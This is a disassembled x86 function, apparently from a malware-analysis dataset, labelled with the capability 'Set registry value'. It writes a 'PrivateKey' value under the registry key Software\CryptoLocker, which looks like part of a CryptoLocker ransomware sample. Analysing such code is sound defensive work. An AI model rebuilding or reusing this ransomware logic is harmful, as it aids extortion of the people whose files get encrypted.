Function at 0x40f790
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov dword [ebp - 8], 0
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebx + 8]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 4], esi
test edi, edi
je 0x40f7d2
mov eax, dword [ebx + 4]
lea edx, [eax + edi]
cmp eax, edx
jae 0x40f7d0
jmp 0x40f7c0
cmp byte [eax], 0
jne 0x40f7cb
inc ecx
cmp ecx, 1
je 0x40f837
inc eax
cmp eax, edx
jb 0x40f7c0
xor ecx, ecx
lea edx, [ebp - 0xc]
call fcn.0040fd60
test eax, 0xfffffffd
jne 0x40f92a
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x40f92a
jle 0x40f894
test edi, edi
je 0x40f816
mov eax, dword [ebx + 4]
xor ecx, ecx
lea edx, [eax + edi]
cmp eax, edx
jae 0x40f816
cmp byte [eax], 0
jne 0x40f811
inc ecx
cmp ecx, 2
je 0x40f840
inc eax
cmp eax, edx
jb 0x40f806
mov bl, 1
test byte [ebp - 8], 1
je 0x40f826
lea ecx, [ebp - 0x20]
call fcn.00404690
test bl, bl
je 0x40f88f
test esi, esi
je 0x40f89a
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40f89a
inc eax
cmp eax, edx
sbb ecx, ecx
and ecx, eax
jmp 0x40f7d2
inc eax
cmp eax, edx
sbb ecx, ecx
and ecx, eax
je 0x40f816
lea eax, [ebp - 0x10]
push eax
push ecx
call fcn.00404c90
mov esi, eax
add esp, 8
mov dword [ebp - 4], esi
test esi, esi
je 0x40f816
mov dword [ebp - 8], 1
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20]
push esi
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call fcn.004046c0
test al, al
je 0x40f816
xor bl, bl
jmp 0x40f818
mov eax, dword [ebp - 0xc]
test eax, eax
jns 0x40f93e
mov eax, dword [0x4160e0]
push 0xffffffffffffffff
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40f8b5
cmp eax, 0x80
jne 0x40f8fb
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x40f8e0
mov eax, dword [eax + 4]
lea edx, [eax + ecx]
xor ecx, ecx
cmp eax, edx
jae 0x40f8e0
jmp 0x40f8d0
cmp byte [eax], 0
jne 0x40f8db
inc ecx
cmp ecx, 2
je 0x40f935
inc eax
cmp eax, edx
jb 0x40f8d0
xor ecx, ecx
push ecx
call fcn.0040fb70
call fcn.0040fc10
mov eax, dword [0x4160e0]
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [0x4164a4]
mov ecx, dword [0x4160e0]
mov eax, dword [eax + 4]
lea ecx, [ecx + 0x488]
push dword [eax + 0x7c]
push 2
call fcn.0040b670
mov eax, dword [0x4160e0]
mov eax, dword [eax + 0x40]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
inc eax
cmp eax, edx
sbb ecx, ecx
and ecx, eax
jmp 0x40f8e2
mov eax, dword [0x4160e0]
push 0xffffffffffffffff
push dword [eax + 0x38]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40f960
cmp eax, 0x80
je 0x40f960
xor bl, bl
jmp 0x40f9d6
mov bl, byte [ebp - 0x10]
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 0xc]
push eax
push 0
push 0x103
push 0
push 0
push 0
push str.SoftwareCryptoLocker
and bl, 0xfe
push 0x80000001
or bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, eax
test edi, edi
jne 0x40f9c7
push dword [ebp - 0x10]
mov esi, dword [ebp + 0xc]
push dword [ebp - 4]
push 3
push eax
push str.PrivateKey
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x40f9c5
test bl, 1
je 0x40f9be
push esi
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
mov eax, dword [ebp - 0xc]
sete bl
push dword [eax + 0x38]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
test bl, bl
je 0x40fa0a
mov ecx, dword [0x4160e0]
push 0
push 4
lea ecx, [ecx + 0x488]
call fcn.0040b670
mov ecx, dword [0x4160e0]
mov ecx, dword [ecx + 0x40]
push dword [ecx + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 8